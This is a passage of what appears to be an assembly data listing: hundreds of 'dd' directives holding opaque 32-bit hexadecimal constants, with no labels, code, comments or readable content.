0B4CB31F0h, 0FDE6DFD6h dd 4DE268E8h, 0D6623D2Ch, 0F3F72CEDh, 0FE98CB39h, 0C1DA0778h dd 1D02522Dh, 0CDB42176h, 75E2ECCEh, 0A6334ABCh, 0BC1C6A20h dd 779DF3B8h, 3D6138BBh, 820299F1h, 0CD611756h, 6B7BE86Ch dd 71B09038h, 689C99Bh, 0E0E7EC21h, 0E77799C0h, 9DF93E6Fh dd 15930F89h, 98F7F71Ah, 0D59F7492h, 0A4BEA1A3h, 34FB0A7Ch dd 3D9E1DF2h, 0AAA09571h, 67C45E4Dh, 51732849h, 0FF87A0Dh dd 0EF109B0Dh, 5E8F9761h, 0E1DCF1BDh, 4D02B13h, 44F754F7h dd 6032C26Ah, 0D8AD7B51h, 4CF7A6A6h, 0E85EA2B4h, 4F0CDABEh dd 0FC4A1B56h, 0A44B7D54h, 0A79E89CFh, 0E07E2489h, 8F636A00h dd 5D6CD8FCh, 904D0F1Ch, 272A96BBh, 988092E4h, 0B76CFAD7h dd 64000BE1h, 46E02371h, 0E60C0131h, 0FAE6D84Dh, 530BB45h dd 1AFF6B4Ch, 0D024E0BCh, 3ED00040h, 51CCD049h, 5D8E0520h dd 16AC5B8Bh, 504ED7C3h, 858D5554h, 73601CDAh, 0F7298EB4h dd 0EA6577F8h, 0C3B954Dh, 0E55269A0h, 5A60EB6Ah, 0E299A15Ch dd 38E6C14Dh, 0CDDC070Ah, 14F39430h, 922F45A9h, 45A605CAh dd 4C9B42F1h, 0F5F286DAh, 4B2A1FD7h, 636F82DBh, 89681556h dd 5A1C0EE0h, 0D1D108E4h, 557A4C0Fh, 68583D54h, 56C614CBh dd 7F4B0FBFh, 0C793C765h, 0D51B7639h, 0ACA8B4B1h, 0BEA1B2C7h dd 0D1FF7837h, 65D1D7D6h, 0DD8460FCh, 0DFE93364h, 484925C9h dd 90BE6362h, 0FC8D5803h, 8793AB4h, 253EE841h, 7FA44035h dd 3E96081Fh, 41FA5E65h, 2F23CCFCh, 0ED1C2293h, 0F6E3424Dh dd 0E571C259h, 0F9EA4B1Ch, 464838E3h, 0C56AD7A4h, 4307BA25h dd 0B9D1A2Ah, 1B747913h, 0B59A61B5h, 2E4288EAh, 1B727CE8h dd 46C3ADB2h, 54D023A6h, 0AF4D9C58h, 0ACE75388h, 0CE713B64h dd 5592146Dh, 55F1A2CBh, 8725D2A1h, 38248A93h, 5CB7EB2Dh dd 75D1C5D3h, 45A630BBh, 0F8909B5Fh, 20285C5Ch, 0C00003h dd 0AEC0B0CAh, 0CF9C4EBEh, 3B9DF8h, 0B016EC6h, 4FF8AB2Eh dd 0A89DC629h, 0BEE90128h, 0BBF2EAA9h, 956E4D51h, 0FD166DADh dd 13144AC7h, 0CB7EC008h, 7E575183h, 0C0216829h, 1071512Dh dd 4F00A193h, 8773DB14h, 0F08AA4F2h, 67668D1Eh, 8A83FBFBh dd 28BD8718h, 1E1CE812h, 19124854h, 2A863456h, 4DCB26A8h dd 0C204D78Ch, 0B55E2D63h, 0BBCC1A17h, 4C755FA7h, 0C5ACD0CAh dd 1B140084h, 2C323804h, 3DFE3B34h, 0BA27800Bh, 0CA4AD126h dd 0F1040604h, 0DB7F3C3Bh, 0C1C760D5h, 0F0DEA79Bh, 1C629C67h dd 0C2C88C3Fh, 31FE9838h, 7A60A684h, 4BEE8486h, 14C19FA5h dd 42B6DC72h, 0FB7B34A0h, 0F5ED2D74h, 4446AC0Fh, 6338B87Bh dd 0E0B0834Bh, 26326C53h, 36DCF091h, 8A98C112h, 8A42ED0Eh dd 188C1A08h, 0FF3EBEBh, 5A34B543h, 0A61981F8h, 0B0C29DBBh dd 8DD88C4Eh, 42309D07h, 0F4FA8328h, 2719D5D8h, 74462F19h dd 19B4BF7Ch, 0A270FC1Eh, 34C03849h, 5BA6F6Dh, 1AC0161Dh dd 0F3453F57h, 72D369F3h, 94118B9Ah, 60B0F253h, 0C9DAB3E7h dd 24ADB1F6h, 47F159E5h, 214F68ABh, 0E165FAC8h, 0C33D6720h dd 0F0769B01h, 65F1BCB2h, 7F87D538h, 0BBA01A46h, 0A265BA0Eh dd 14588841h, 0BC73E5A4h, 7BC16A90h, 0A19B6066h, 5A1D9B06h dd 4ECF7732h, 0C0DC129Dh, 6290CFD7h, 271835CAh, 0C9EBFDC3h dd 3637BD2h, 0B6AFD25Bh, 0E6C8F26Dh, 0B87D6599h, 0C0926F15h dd 80BC7528h, 6016F092h, 5F165EAFh, 9194B148h, 845379FBh dd 0F1A5D05Bh, 6AAFFF3h, 89383476h, 612CDF86h, 1A614686h dd 0ECEC84C2h, 5F69CC53h, 75964DECh, 0FC5CA9C8h, 88849A97h dd 0CE1E868Ah, 9C8FE555h, 5130056Fh, 0FA2BB2ABh, 2CF0B8Fh dd 0C6D82F74h, 0DADCF8E9h, 8593879Bh, 8FDE8B4Eh, 86DE3C1Eh dd 0AE32FC77h, 0D14714B4h, 0E47E7BBh, 2623A4C3h, 0D0ECFD82h dd 4434D557h, 7A5EF2C3h, 2136334Dh, 19A31E16h, 9606CC8Eh dd 41A865ECh, 0A81A8AE0h, 91D017Ah, 0E8A56008h, 439D03F1h dd 3ECE3CB9h, 0B8B4EE10h, 8DCC29FEh, 0D1E3F5CEh, 0A7D7FF2Ch dd 6E141AAh, 5EF5D0E5h, 2F761F47h, 9BA4B3C7h, 0B124B126h dd 0A62F439Dh, 52661385h, 0ACAA8F00h, 8131772Ah, 0DDBC9F44h dd 88586144h, 39C79DB2h, 64C7B029h, 23A3AB55h, 2834FDC7h dd 666B4C5Bh, 582C3BEAh, 305EDA1h, 6F1188DAh, 988F16B0h dd 3F2F57A8h, 869EA860h, 277F89FCh, 6F66BEC7h, 0FFC55259h dd 6CB0774Ch, 85CF6643h, 0E851BCFAh, 94A16E46h, 1ED14795h dd 8CBD3A8Dh, 0FABDACDCh, 7728A70Ah, 606A03DEh, 0D084932Eh dd 2A68919Ch, 5850D07Eh, 0A1612558h, 0A34B816Bh, 0B6EB7E5Dh dd 5A4759A1h, 0C7157A73h, 0EBDB7739h, 93ECD36Dh, 0E757655Ah dd 0ED132921h, 75B3C826h, 9EBB601Fh, 1F4C0878h, 0EC110ED8h dd 0B320AED4h, 0BBAA6A45h, 0E30F3146h, 0BDEA27AEh, 8C429DC4h dd 2FF9604h, 0AA74B544h, 0BFBE4F6Ch, 0F0FB73C2h, 0C29A1FF9h dd 50D9961Bh, 0AD3F4B70h, 0F6A633ACh, 138ADFBh, 0FE733FC7h dd 9502436Eh, 0DDA7617Bh, 6FA38CF5h, 789F94Ah, 55360AE4h dd 468AF63Bh, 604F2C7Dh, 2CE5E07Fh, 9327D91Ah, 0F4991CE6h dd 0E49EAE84h, 0B1744760h, 0CB34EE8Bh, 86E52E3Ah, 7BB8E615h dd 729A54E7h, 65361338h, 3AA4A5Dh, 0FAC964CAh, 94A1047Bh dd 58BF372Ah, 0FCE3A13Bh, 16C8D34Fh, 0E795CB57h, 0D8F2D6A1h dd 4C9457EDh, 0AF1C8874h, 63FC8B3Bh, 2892227Bh, 35AF6161h dd 4C8DF712h, 6E3BC07Dh, 0D2F415A9h, 0D989ED45h, 0B8CE9BADh dd 0F1D1DECBh, 0D1C9A145h, 0FFAE1613h, 51CC10E3h, 0F45DDFA9h dd 0FBB1CABEh, 184E82D5h, 1C7818DEh, 66E65B41h, 272F1891h dd 2C032769h, 8A1B6BFBh, 0B2C2A80Fh, 0CCFE34B6h, 608B21F4h dd 0F8E822DDh, 46B071DDh, 3D7DAB52h, 0EB5BA4A5h, 1FD0656Ah dd 45F5D7A7h, 0E5024A3Fh, 9C01FA8h, 0F59C7E3Bh, 256738AFh dd 7F51835Fh, 7ADBB0h, 0C5E6B0C3h, 61EB585Eh, 7CD52A14h dd 327B35B9h, 8F0BB1A8h, 70281300h, 0B5DA5AC0h, 3289688Ah dd 0D1AF905h, 0CC6B71B5h, 0EA3C645Eh, 0CD46E2DEh, 0FD078941h dd 387B542Ch, 65C71ACBh, 0C08A1E32h, 3E538496h, 0D5131CC7h dd 7F58C7DBh, 0DF09A1F9h, 0DE6923C4h, 0EFD09108h, 5871370Eh dd 0A2E0B653h, 0CC3B8941h, 46982B0h, 18A8D778h, 2CA46180h dd 0E30F16C7h, 0FF244845h, 0A474A6CFh, 0D5962B19h, 0AB623B34h dd 0EE1B806Fh, 0DF5241Fh, 0CAD41684h, 5DB0F92Ah, 94A40679h dd 0A29ED46Bh, 5E560C76h, 907628EAh, 7D5DB4B9h, 53AA347Dh dd 0E7B62FDCh, 29FC676Bh, 0C83497EEh, 0FBB6DCBEh, 0B7550DECh dd 3595DB51h, 37BC0895h, 2C2F42EAh, 103BD989h, 0C0212BE8h dd 0C5FF2EE2h, 0A604C3D7h, 0C8359E31h, 0DAC975F5h, 0F3E97C67h dd 807A0387h, 544C47FCh, 0EE5F3DC5h, 5F669020h, 4E5BF1A5h dd 4DC9C748h, 2DB76CE4h, 60E2F1C4h, 4862D870h, 0CBDBFA2Ch dd 0C8B0B482h, 0F4F027Eh, 3100EA40h, 13CE096Dh, 0DA829F3h dd 1A8DA81h, 12916FF4h, 43850167h, 32ED8ACEh, 7A68348Ch dd 0A2AB4B2Dh, 0B1259A9h, 0CA292198h, 94C8B9C0h, 0E72F0A58h dd 9DF64636h, 142B4914h, 0B8D999DDh, 6F7C593Fh, 81EB1F8Ah dd 62E11036h, 7E511B5Fh, 0D516C33Ah, 43354EE2h, 4F858E21h dd 0F18D4B1h, 1B0F999Ah dd 0DB7B0109h, 994BD380h, 0E758A3A8h, 0BADBB4Fh, 5520F5CAh dd 40A4FCAh, 38CA7345h, 0A5BF6364h, 3CD9C35Eh, 19600C8Bh dd 0FD805CBAh, 6BB9146Bh, 928B19C9h, 49F64B6h, 2F672FEBh dd 34A90122h, 0EE187FE6h, 7CBAF669h, 3C7AFBC7h, 0DC3D25C8h dd 36C950DCh, 1AEAB807h, 570A45BAh, 337BDC17h, 5E5616B5h dd 3371AC7Dh, 0CD2D807Ch, 4254DCEEh, 0DD0D1EC1h, 0F2F70588h dd 0FBF702A2h, 53930F6Ch, 4F62348h, 0A7A069E9h, 22261ABCh dd 622CC469h, 65584006h, 96312A9h, 7470135Dh, 0EE8D5196h dd 2C28ADB5h, 837619DFh, 0CAAF5CA5h, 10D7CEBDh, 0E0C160A5h dd 19EE49C0h, 59D46F23h, 239618D7h, 400649C3h, 0C2328230h dd 0D4AEA4AFh, 6BC71DB7h, 0EC0138F3h, 0CC88BE3Ah, 9B28BB4Ah dd 0F60A7AF8h, 0F8BC1E42h, 9D8AF263h, 0B5C9F977h, 2E54B33h dd 0B7A066B7h, 8490A5ADh, 67BCD14Ah, 10552B7Dh, 0A0A3B4A8h dd 9E342123h, 81C3DC7Ah, 5C0B9270h, 51698847h, 594DA8C5h dd 0CC296E19h, 0C59E8BD1h, 67F3E490h, 429A3E9h, 0A4CDE60Eh dd 3C5E6D79h, 2FB79552h, 0CD27B241h, 8A27A9CBh, 6FA87B1Ch dd 738657FEh, 0A7C9FBFh, 31662190h, 0F4B058D0h, 0F3F92E86h dd 0BE4BB73Fh, 0A37A578Dh, 1433990Ch, 5DA30191h, 58492DAAh dd 4D913F12h, 0A87F76BAh, 22E5822Ch, 0A4118500h, 34850705h dd 0BEE010CEh, 11253087h, 94FEBBF4h, 4E9EBB20h, 6AD88D0Bh dd 0AFFC251Bh, 6C2C9F8Bh, 17B78193h, 0F6678D53h, 0B898FA03h dd 2EE5D3E0h, 7685926Ch, 0FCC1D002h, 0F629880Ah, 5639A3C4h dd 4EE5102Dh, 0A95399B7h, 674A1AB5h, 0E528C0B5h, 393D0DE8h dd 4DE91C6Dh, 2DCA39B3h, 86EC563h, 25CEA381h, 0EF2DAFD3h dd 0F1E68621h, 0CAAE0A71h, 0D1D3BAE2h, 0B4EC37FCh, 35484858h dd 0D9D1DB67h, 0A8D0BFF7h, 10CA3683h, 774D34D5h, 0EAFDD8D9h dd 0D1781CE0h, 0B6263422h, 0F914D0B0h, 0ECED7A91h, 972F21C5h dd 23A47CC1h, 577935D7h, 0DEB06E63h, 8D39B905h, 0F79DED12h dd 7F0EE83Ah, 7006BC01h, 2C1C35FEh, 0FCBB286Fh, 253844B4h dd 3BD51655h, 4C5DCC9Eh, 9BDD45ACh, 2D2FF4Fh, 0B66988C8h dd 240DAC45h, 1B45FA05h, 779A22D7h, 0B5DEA980h, 933C4256h dd 83AF1C4Dh, 8394ECD0h, 0F57437C8h, 0D47E1C48h, 669D302Dh dd 0C4CAD1FDh, 973FB68Ah, 6893C865h, 1A36E5F2h, 723ABC91h dd 435A205Fh, 4042DEE8h, 4FE2E6Bh, 2F2EC27Fh, 459E4096h dd 9894ABDEh, 95C2B94Eh, 0B81863EAh, 71084BE6h, 0EDAF2B92h dd 5CDBB418h, 96F18D76h, 0F00529Bh, 0A6D729CCh, 225E76ECh dd 17FEF802h, 0E17E9299h, 236C820Eh, 0DB4FD3B9h, 0B25C77CEh dd 0F123EC07h, 0FC600428h, 0C90863Ah, 61997F06h, 696E0A12h dd 0C5252137h, 0BD98EEF4h, 0FF1A92F5h, 0E0819DD2h, 15C22556h dd 6843ACA6h, 0F33A63EEh, 0FAF7740h, 4B16F763h, 345E63B9h dd 0CC5348Ch, 9AD8330Eh, 0ABF2364Ch, 85E2D97Fh, 56BB4C1Bh dd 0DFF06950h, 0F6CB62E9h, 0A21C986Eh, 3BEB2668h, 5EBD8790h dd 282DA7AAh, 0B48E1AB5h, 0BB5EB6F1h, 0C77E5818h, 4529CEA7h dd 1DFDDF89h, 4AA09C35h, 0F88F75EFh, 0B9B221E3h, 22BCEDDBh dd 96FE59C5h, 7D349E4Dh, 3241DBA1h, 0D485C8E6h, 70685F5Ah dd 0EB357A6Ch, 8BEC5BC1h, 0CA33083Dh, 1F2C7FD8h, 2D1B78CEh dd 4E308F8Fh, 0AA5FBA25h, 0ADF837E3h, 67667946h, 0B1F1EAF4h dd 61976BABh, 0A981269Fh, 2D84FBh, 8EDF9EBEh, 59C18684h dd 9BA96062h, 67606ED3h, 14699FF3h, 6BAB018Bh, 16DE55Fh dd 0B819FC0Ah, 0D3135EA4h, 6FC7CFA1h, 91F7EF08h, 0E54B2FB1h dd 22099CA2h, 0A6B99D83h, 428E1E5h, 88AE3186h, 0A2AD4049h dd 0A42448B0h, 94E6101Dh, 6DBAD1F3h, 221C3CE9h, 80F1DA44h dd 13E5FE98h, 96F873A2h, 3F6A0351h, 8D045EA3h, 0C1EFC4E5h dd 0D0C77528h, 0A1236AA4h, 61A795F2h, 0B0C742F9h, 2B0F8146h dd 0A4A4E5B1h, 763614CEh, 0E39A382Bh, 45FB114Ch, 0A93B6EEFh dd 8F208177h, 7ECC32EEh, 0FCC8DDE5h, 0F7331C36h, 0A8D83A04h dd 0A76CB193h, 0FE1E0743h, 6DF89CECh, 3956F4AFh, 918E3653h dd 0ABDBE17Ch, 2C46664Dh, 3F2FCF99h, 0D15A8CEBh, 0C93171E5h dd 91039AEDh, 5A89130Fh, 7B53CC65h, 22F87AD3h, 0AB959CA7h dd 68AC83BEh, 824F619Fh, 7D8A0E3h, 3B08867Ch, 74B8F6BBh dd 7D6633AEh, 0F87DAAA8h, 0C6E8DF71h, 7C5281A5h, 4C96E23Ah dd 0D68FA9F9h, 2090B685h, 0F6E6FD8Fh, 0D5443A2h, 1175CF28h dd 6234882h, 0E197748Bh, 0C04A8FADh, 52C56C83h, 0BA29797h dd 48B8EE6Fh, 0A40343BCh, 491E43A0h, 0FF1DE175h, 2C38B5A4h dd 6654A56Dh, 0B4A86B30h, 0EEFC6A7Ah, 31E82FE9h, 0EAB998D6h dd 0ABC38701h, 203303Fh, 0F09E32B2h, 0E6FCABDFh, 4D81F55Dh dd 0E544AB7Dh, 3D59E1A4h, 48FE3340h, 0B73E1A1Ch, 35E3D063h dd 0C849F826h, 8C04BD18h, 0AD2E0312h, 0FEACACAh, 841B5E59h dd 21CD9EFBh, 0A01C23A8h, 0C84FD0B5h, 5F092AADh, 887C2415h dd 0AA349813h, 0C73083CEh, 6C4E45FAh, 0E79C87E6h, 2D14CA4Eh dd 0CAD58452h, 0A9035086h, 0EE702B38h, 0ED7975FBh, 68267F53h dd 0CB92857Bh, 1D6D5BD0h, 85B62A78h, 0F087C31Fh, 0A7D9E73Fh dd 0D354FCBAh, 54E95ADBh, 4C6A7AA0h, 0CEBDE160h, 120F1B41h dd 5A5C4A06h, 0A3F99C8h, 7F80D2D1h, 0FAF537DFh, 4693103Fh dd 0C4C70C7Bh, 85BEBA2Bh, 46800C49h, 8D7F7487h, 0EC499AC8h dd 0F2911A4Ch, 94CEBE04h, 0C7EADD31h, 84AAD884h, 6AD90C43h dd 484794D9h, 1186EBDBh, 989D4AF7h, 3FAF2199h, 8C4FE496h dd 1FD2AB52h, 1C32D150h, 61CB1378h, 104B33D7h, 4AFEBA4Ch dd 2EA2F9E8h, 0C101CF49h, 487E1D37h, 66088C79h, 928D2ECEh dd 7193C5B5h, 0ED83B839h, 54B499A0h, 47CACAC5h, 42C75246h dd 0DD027027h, 0E410572Ah, 0F67EF4Eh, 83D12BCFh, 0D87249D4h dd 99088FEh, 4BEA1052h, 0C121AA0Eh, 1CB169F0h, 55BE8986h dd 8B9287ECh, 0FA95F39Bh, 209F353Ch, 2BADBA64h, 0E36A55DBh dd 0A7F568F4h, 0EDF82548h, 7B1CB5F6h, 6BCA541Fh, 75A89D99h dd 0ADEA04ABh, 0F12AA02Eh, 448CD8F4h, 8B369EF2h, 1820B68Bh dd 0DD475CD8h, 65E25DB0h, 46A21E3Fh, 0C7DDA3C7h, 9CF8717Bh dd 0E5F16FDDh, 2B874D5Ah, 40377F5Fh, 0B0DE3B8Dh, 2FE556D8h dd 8EC1C14Dh, 62FECCE6h, 6574EE23h, 0C6CCAFEBh, 586727B6h dd 50733E89h, 7A62A8BFh, 0A05EC5B6h, 6358A109h, 6628BCA2h dd 49D0658Bh, 10CD887Fh, 0FB784EE9h, 0B113E764h, 0FB7C44DDh dd 0E51A1823h, 0F5FA41D6h, 8637BB13h, 7F08D88Ah, 80114EB1h dd 630EBB7Bh, 744EBD57h, 0CAFA1B42h, 16B2B9D5h, 0BDE7918Ch dd 5E95A54Fh, 0A125958Ah, 0B95FD13Fh, 0B94E88D4h, 34079691h dd 29509AA1h, 1DC67303h, 9B23D619h, 0D0F88F09h, 28095147h dd 147A72DAh, 0A97E7FEh, 9BE70BC3h, 375F76B5h, 0DF9EC5DDh dd 6EEB4808h, 29F2B58Ah, 7DEB1912h, 0CA4AFE9Bh, 28A3A96Ch dd 0B03D55A2h, 0BEB0DF56h, 0D2BE5BAAh, 912B80DEh, 731AD12Fh dd 70C78E1Ch, 0AB12858Ch, 0F067CA94h, 6FC1E4ECh, 617FCE4Fh dd 0FD740D64h, 98EFE860h, 0A13B8ACEh, 0E8FFE946h, 6A160E24h dd 22BE9557h, 0C79A2A2Fh, 0A771FC74h, 0EC89DE23h, 0E5CB2860h dd 58CD0460h, 3BAE7D41h, 2BF2D103h, 1C587281h, 76F24278h dd 0A26D7B43h, 67FBE3E7h, 666257D4h, 0BBAE31F2h, 19653659h dd 0D82BFF41h, 0EB15124Dh dd 0CA5C4F68h, 0D1A1E1B4h, 17694C48h, 1C344A41h, 6FEFB367h dd 0DBCE162Bh, 30F9A12Eh, 73F3A3AEh, 974DD0B4h, 0A985B60Dh dd 75B22476h, 3915B8B4h, 7697DD8Dh, 0CA09CD6Fh, 0D82EB1F7h dd 0DC175B26h, 8CF63168h, 0D14EAC24h, 0A811120Dh, 431FFD0Bh dd 79CB4D66h, 0BA2E361Eh, 0E8A0E8E1h, 9A6A1DFh, 8E7F11B5h dd 0D84F2E0h, 82689001h, 0A80AFF7Dh, 0C1AEBA90h, 1BA28545h dd 0F56AC290h, 0A4D1EE4h, 0DE28CAE8h, 8C76FF1Dh, 0D9CB925Ch dd 3583929Eh, 1B6FB577h, 3AA6842h, 75E4D42Ah, 0EDFDA949h dd 1DE18047h, 4763822Bh, 86D56713h, 87660041h, 810B0444h dd 3BE70380h, 85A81751h, 7AA2E8B9h, 0C4253D9Ah, 0F591B4A3h dd 8FF4D424h, 0D28D8CDAh, 0F40DCC54h, 0AAFEFA4Bh, 10854AEFh dd 8D49B934h, 0D951B2A5h, 3B2EBE8Ah, 5431C587h, 0B1C79F49h dd 0B8D8A89Fh, 128D2659h, 46BF432Eh, 0CD893DC8h, 42C532E8h dd 6087DB0Bh, 614958C7h, 4D3C7C13h, 3B74EE5h, 3B542C59h dd 0DF7C08FCh, 3E27FA45h, 0E3C56DB8h, 1BABCD82h, 0EE98265Ah dd 22689000h, 826FB372h, 0D9ABDC33h, 0D48DA764h, 57C88395h dd 0D29804F2h, 1F0BEE4h, 0FF70C730h, 0FC8C3104h, 0F6010A2Bh dd 13EA46C9h, 45A299EDh, 8D7F5A0Ch, 6E32855Eh, 9C62B3F9h dd 94393FCEh, 4438E6EAh, 71BBF49Fh, 462B4A8Eh, 16CF0B13h dd 8D4B9479h, 20561F9Dh, 39E5F2E5h, 8FABD09Eh, 0B00E5644h dd 0E3F99AE9h, 6D3F9CC3h, 44910F6Ah, 52E1B400h, 0BEEFE56h dd 25447A09h, 4454DDE4h, 7F26E05h, 1110695h, 0EFBD1BC5h dd 1FD5808Ah, 0E13F0CFBh, 0C16543FFh, 854B3A54h, 7099ACFDh dd 5A7D81A0h, 0BE2C87EAh, 3211DC4Bh, 0ED78CDE8h, 0B5C174BAh dd 93D535D7h, 1BE1148Fh, 3930C477h, 0BB81A170h, 0AC2DADF5h dd 80CDF3C5h, 511C079Bh, 0C529A52Fh, 0DEC09686h, 0CE04635Fh dd 0B82808EEh, 0DD123763h, 4AB38824h, 0F522ADE1h, 0E8DEC8E8h dd 0D91DE074h, 2DC0F5F3h, 9D258253h, 10471867h, 0C8CA997Ah dd 1CD629C9h, 5F3F85F4h, 0FD674A2Fh, 0EDD24A50h, 3CC3BF25h dd 0E5653E0Dh, 0B95F42A7h, 0D93A7D3Fh, 0A6689A0Eh, 0F8C9AEF3h dd 29A0B388h, 935E213Ah, 0DE0E677Ah, 1A9F5DE4h, 0C4CCB62Fh dd 9C8727CDh, 0C5D6692Dh, 0D90F83D8h, 0D715ADAFh, 0FD428FA2h dd 0B1AF74FBh, 9CA874C1h, 4B56D4BEh, 4F96BB2Ch, 260F8C09h dd 0FB617FF0h, 0DD4FEAh, 43964E8Dh, 0AD7FA4DCh, 0B1FE407h dd 0C2058A3Ch, 8688FFF7h, 0ABEE2ECBh, 0FE524BC1h, 257C2C8Dh dd 9A19A99Ch, 0C8BF6A1Dh, 2A00517Ch, 0D8673295h, 0C30620D8h dd 67104108h, 98ABB02Eh, 642B5D69h, 342846F1h, 51C8223Ah dd 0D0FA05C8h, 0B937BA4Eh, 77469CBh, 1262F916h, 0F810C3C5h dd 0E7A6DF36h, 0E59651BAh, 533DB1E9h, 0B8ABCC49h, 18D6A6D6h dd 2020D9ACh, 63AD6928h, 5D01DDE0h, 0DC94B80Bh, 1447DFD9h dd 7901740Ch, 0FE9FC32Eh, 0C31E89FAh, 0FCC07BD3h, 707464DBh dd 418D09C4h, 42C0F4A7h, 462A81DEh, 5A53C004h, 0F4EFA267h dd 5AB22B99h, 5D5BB677h, 0C96F5354h, 0FFC310A6h, 576F89E1h dd 0A3448AB8h, 990008C6h, 320955EBh, 2A8B3E79h, 0CBCF14B0h dd 933ADBC7h, 0C2074F0Ch, 6F934B1h, 3AED6722h, 0B1550703h dd 4B709887h, 445069B5h, 614F4F1Ah, 6041F71h, 0F83B2ACAh dd 56647BBFh, 88A95FA5h, 0EBB7DAD4h, 188F7E84h, 0F2C44EE8h dd 0BC5112ABh, 0B1B03210h, 0F6D74F35h, 0BD20F541h, 46B75C8Dh dd 2A4FB324h, 5A14BAD2h, 2473E0BBh, 20B04883h, 0E9F941D6h dd 6828246Ch, 531877Eh, 0A5B62805h, 1D59EA5Fh, 4BA8B934h dd 0FD23B160h, 13B3DD2Ah, 48C603CCh, 6AA351B0h, 806716E7h dd 0EC8426B7h, 0D161F83Ch, 88407Dh, 25FF7BEBh, 0CC38142Ah dd 0EDA2A146h, 6389A9BBh, 0A8D6BBBBh, 66A2F4FDh, 7B35DFA4h dd 0FF03A428h, 666A95E5h, 0AD18199Ch, 0C81C3612h, 57C7880Dh dd 3F392143h, 0C6AC899Dh, 7BDEFCFDh, 8482CBC1h, 0C5AA6DA4h dd 9A53AE6Eh, 1AEC2C54h, 9F6F3DC9h, 92CDD972h, 0ABAAC301h dd 0FE3F9744h, 41EBFAA8h, 0E8B537F1h, 55D147CCh, 81A05ECh dd 0B735B22h, 3FCB3D6h, 0E3E3EB0Ah, 0D98D6302h, 0A483887h dd 0EEA24AA1h, 0AFEF4258h, 2A3F2E64h, 2941D35Eh, 0B613279Eh dd 8AF2B368h, 8FFB4B24h, 7202B21Eh, 0B1F31D5Bh, 27F95703h dd 4A633730h, 0C42DB864h, 0F4BF9915h, 442671A8h, 0CD53F82h dd 0E591A4D9h, 2A06C6C4h, 54888EE1h, 755A70E9h, 0F3ABE28Eh dd 0B1954988h, 6693D9DDh, 0AE541D43h, 0F4E1870h, 9B94A6B8h dd 69202D4Fh, 0FD2F5BCDh, 0E00F05CFh, 3D9FB94Ch, 20480599h dd 8B709DAh, 4B8A78C1h, 5FF5DB3Ah, 0A4311CAAh, 3F6441FAh dd 0E43D9421h, 0FEB4399Bh, 3C41CA83h, 2FC55ECDh, 0F1EDD6D1h dd 0EA7844EBh, 64B58332h, 691825A1h, 0D6A1492Fh, 9F20BFEAh dd 28B470D3h, 0FED886B7h, 3E0C9491h, 0F3FAAA38h, 0AF47DF49h dd 107A77C1h, 8872C64Bh, 96196894h, 6163C1D5h, 0EC93A9DFh dd 0C1384903h, 61B65C99h, 7FCA5EA6h, 0FF40906Ch, 2F4DD150h dd 0E65138E0h, 5A080236h, 9BDF57D4h, 203A4CC6h, 39255037h dd 25FD5F27h, 0D283C29Fh, 0EC2AB0A5h, 407E0EF9h, 9B5F8C9Ch dd 627490Ah, 88F5DDE3h, 0D7E86901h, 0CFC0D1DFh, 0B6E689Dh dd 2199A34Fh, 0F8634DDDh, 39646E02h, 0B7FB9124h, 0AC466AEEh dd 85FB66D3h, 84853577h, 7D41EE1Dh, 0ABD9FB4Dh, 61645509h dd 0B7CE21F6h, 2D843FC6h, 7E97147Eh, 0F0E0F316h, 276B7451h dd 0A1CED97Dh, 0D8F4321Fh, 82D90C63h, 0E51BB8DBh, 8C4FFBDAh dd 0A256819Bh, 6B70E23h, 742D07FFh, 9D689702h, 0F8E9202Fh dd 68030078h, 4EEC1898h, 846561D6h, 75A3969h, 3837F198h dd 371AC4CCh, 10F25669h, 83366408h, 8E4C8ABDh, 0A156EEE2h dd 3D2767C8h, 0D181A995h, 0FC3AB5DEh, 158DC813h, 32F361BCh dd 0F209BF91h, 6C4D6400h, 9E01931Eh, 0E520DCC6h, 7C86933Ah dd 0AF6E2A97h, 0FA70F48Eh, 66E62944h, 0E26AAA83h, 458C57Fh dd 25672DF0h, 0A2FBCB8Ch, 0E253C984h, 8A286E5Eh, 54BAB795h dd 20B550BCh, 0A24275C9h, 0B6A2382Ch, 7D38A72Bh, 4ADC10F7h dd 5B76A165h, 72BEAA65h, 6FDFE5D2h, 638BC804h, 0DA23573Eh dd 445AD464h, 102F3AF8h, 0C23D84DEh, 40B34A3Bh, 0E9E77822h dd 7EF5A595h, 98F490CBh, 508C44FBh, 6CE0411Ah, 0C571874h dd 6938F14Bh, 40D58A6Ch, 0FA41B492h, 62DCD08h, 2D4099ADh dd 19349717h, 11E75BA0h, 7C891347h, 9AE8A765h, 7E0ADEF5h dd 0C1DC388Ah, 0FC9FF245h, 264D0A01h, 3C7A2B53h, 0D10ED31h dd 0A484DAD2h, 9945FAD4h, 0FE1A34A3h, 0A05EA402h, 4257C2E3h dd 567ED77Ch, 0EB533B52h, 33A71274h, 195DA1CDh, 2870905Ah dd 0A0EF74D0h, 43CB59E4h, 22E8D71Dh, 0E460F69Dh, 3F9084DBh dd 481C650Ah, 0C2F9D64Bh, 339AF8F3h, 0DD6CBA49h, 77098D75h dd 4EF66BB5h, 798BBC62h, 0A69CE8E0h, 8427E310h, 2337C365h dd 0BBA3221Fh, 5C336367h, 57FB940Eh, 0FF514C1Dh, 3F7CAE40h dd 0B1C6FEC3h, 6C8C74F5h, 0FA07DF96h, 0AFA225B9h, 5E17B9B6h dd 70B016EBh, 13FD843Bh, 0B34644BCh, 0EB643C57h, 0BAEC49FFh dd 6ADD6Bh, 0EE7E670Ch, 0E3146A9Bh, 86C13705h, 0FE0BCABh dd 0CBE320F1h, 7AC2229Dh, 0FD46AC38h, 44ECB418h, 8646270Ah dd 49321AB3h, 0FEC6A0DDh, 61D081B9h, 20F921DCh, 96C615CAh dd 0CE644FCDh, 0FEBD2FCEh dd 8418E21Ch, 0C6ED3697h, 357B25A4h, 3EC3E4BAh, 93A4D381h dd 5F2F1903h, 88054980h, 52C0B35Dh, 72426B94h, 1878352Fh dd 65592C25h, 0C9504DE0h, 0EC318277h, 6EDAE6B3h, 33B532D9h dd 0ABBE70E7h, 4493BA87h, 498A23E8h, 1AEBA38Bh, 0F804C1E9h dd 0B34112B4h, 1C6529D6h, 6E68CF9Dh, 4E958723h, 5823FDF2h dd 0B689E918h, 0FC58127Ch, 0DA4333D2h, 0A54CB730h, 0B3AF3A47h dd 0FE5F6517h, 0CCCB8628h, 0B4573E7Dh, 74104F8h, 0FB7B776Ah dd 200E6BC8h, 9D7CEB2Dh, 0AE80C509h, 0DBA3C09Ch, 80840B61h dd 0E5F58A86h, 6797B987h, 9411BAA8h, 0FDA1771Fh, 0E0344F39h dd 275F7851h, 